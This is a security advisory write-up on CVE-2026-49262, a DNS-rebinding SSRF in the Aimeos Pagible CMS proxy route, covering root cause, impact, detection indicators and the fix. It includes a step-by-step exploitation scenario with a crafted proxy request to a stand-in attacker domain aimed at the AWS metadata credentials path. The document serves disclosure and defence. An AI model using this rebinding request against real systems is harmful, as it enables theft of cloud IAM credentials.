CVE-2026-49262: 
PHP Análise e mitigação de vulnerabilidades

CVE-2026-49262 is a Server-Side Request Forgery (SSRF) vulnerability via DNS Rebinding in the Aimeos Pagible content management system, affecting all versions prior to 0.10.4. The flaw resides in the administrative proxy route (cmsproxy), where a Time-of-Check to Time-of-Use (TOCTOU) race condition between URL validation and the actual HTTP request allows authenticated attackers to access internal network resources and cloud metadata endpoints. The vulnerability was first published by Aimeos on May 25, 2026, and added to the GitHub Advisory Database on June 26, 2026. It carries a CVSS v3.1 base score of 3.0 (Low) (Github Advisory, Aimeos Advisory).

The root cause is a combination of CWE-367 (TOCTOU Race Condition) and CWE-918 (SSRF). The AdminController::proxy method validates the target URL by calling \Aimeos\Cms\Utils::isValidUrl($url), which performs a DNS lookup to ensure the hostname does not resolve to private or reserved IP ranges. However, after validation passes, Guzzle/cURL performs a second independent DNS lookup when establishing the actual socket connection. An attacker exploits this gap by controlling a DNS server for their domain with a TTL of 0: during the validation check, the DNS server returns a benign public IP (e.g., 8.8.8.8), and during Guzzle's subsequent lookup, it returns an internal/private IP (e.g., 169.254.169.254 for AWS Instance Metadata). Exploitation requires low-privilege authenticated access and user interaction, making it high-complexity but feasible for a motivated insider or compromised account (Github Advisory, Aimeos Advisory).

Successful exploitation allows an attacker to make the Pagible CMS server issue HTTP requests to internal network resources or cloud metadata endpoints (e.g., AWS Instance Metadata Service at 169.254.169.254), potentially exposing sensitive configuration data, IAM credentials, or internal service responses. The confidentiality impact is limited (low), with no direct integrity or availability impact. In cloud-hosted environments, leaked instance metadata could enable privilege escalation or lateral movement to other cloud resources (Github Advisory).

No public exploit code or active in-the-wild exploitation has been reported. The EPSS score is approximately 0.131% (3rd percentile), indicating a low probability of exploitation in the near term. The NVD SSVC assessment classifies exploitation as "none" and the attack as non-automatable. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. A proof-of-concept scenario is described in the advisory itself, requiring attacker control of a DNS server and a low-privilege account on the target CMS (Github Advisory, Aimeos Advisory).

1. Prerequisite – Obtain low-privilege access: Acquire a valid authenticated session on the target Aimeos Pagible CMS instance (e.g., via a compromised editor or contributor account).
2. Set up a malicious DNS server: Register a domain (e.g., rebound.attacker.com) and configure a custom authoritative nameserver that responds with TTL=0. Program it to return a public IP (e.g., 8.8.8.8) on the first query and a private/internal IP (e.g., 169.254.169.254) on subsequent queries.
3. Generate a valid proxy token: If the application requires a proxy token, obtain it through the authenticated session.
4. Send the crafted request: Issue a GET request to the CMS proxy endpoint: GET /cmsproxy?url=http://rebound.attacker.com/latest/meta-data/iam/security-credentials/
5. Race the DNS rebind: The isValidUrl() check resolves rebound.attacker.com to 8.8.8.8 (public) — validation passes. Guzzle then performs a second DNS lookup, which now resolves to 169.254.169.254 (AWS IMDS).
6. Retrieve internal data: The CMS fetches the AWS Instance Metadata Service response and returns it to the attacker, potentially exposing IAM role credentials, instance identity, and other sensitive metadata (Github Advisory, Aimeos Advisory).

• Network: Outbound HTTP requests from the CMS server to 169.254.169.254 (AWS IMDS), 100.100.100.200 (Alibaba Cloud metadata), or other cloud metadata endpoints; DNS queries with TTL=0 for attacker-controlled domains originating from the CMS host.
• Logs: Web server/application logs showing repeated requests to /cmsproxy?url=http://<external-domain> from authenticated low-privilege users; Guzzle/cURL connection logs showing connections to private IP ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.0.0/16) after URL validation.
• Network: Unusual DNS query patterns from the CMS server — multiple rapid queries for the same hostname returning different IPs (indicative of DNS rebinding).
• File System: No direct file artifacts expected, but review for newly created credential files or configuration changes if IAM credentials were exfiltrated and used.

Upgrade Aimeos Pagible CMS to version 0.10.4 or later, which resolves the TOCTOU race condition by pinning the DNS resolution result from the validation phase and passing it directly to Guzzle via CURLOPT_RESOLVE, ensuring both the check and the use phases use the same resolved IP (Aimeos Commit). If immediate upgrade is not possible, restrict access to the /cmsproxy route to trusted IP ranges or disable it entirely until patching is feasible. Additionally, enforce network-level egress filtering on the CMS server to block outbound connections to cloud metadata IP ranges (e.g., 169.254.169.254) and private RFC-1918 address space (Github Advisory).

The vulnerability was discovered and reported by security researcher PomPomSaturin, credited in the official GitHub Security Advisory. No significant broader media coverage, vendor statements beyond the advisory, or notable social media discussion has been identified for this low-severity finding.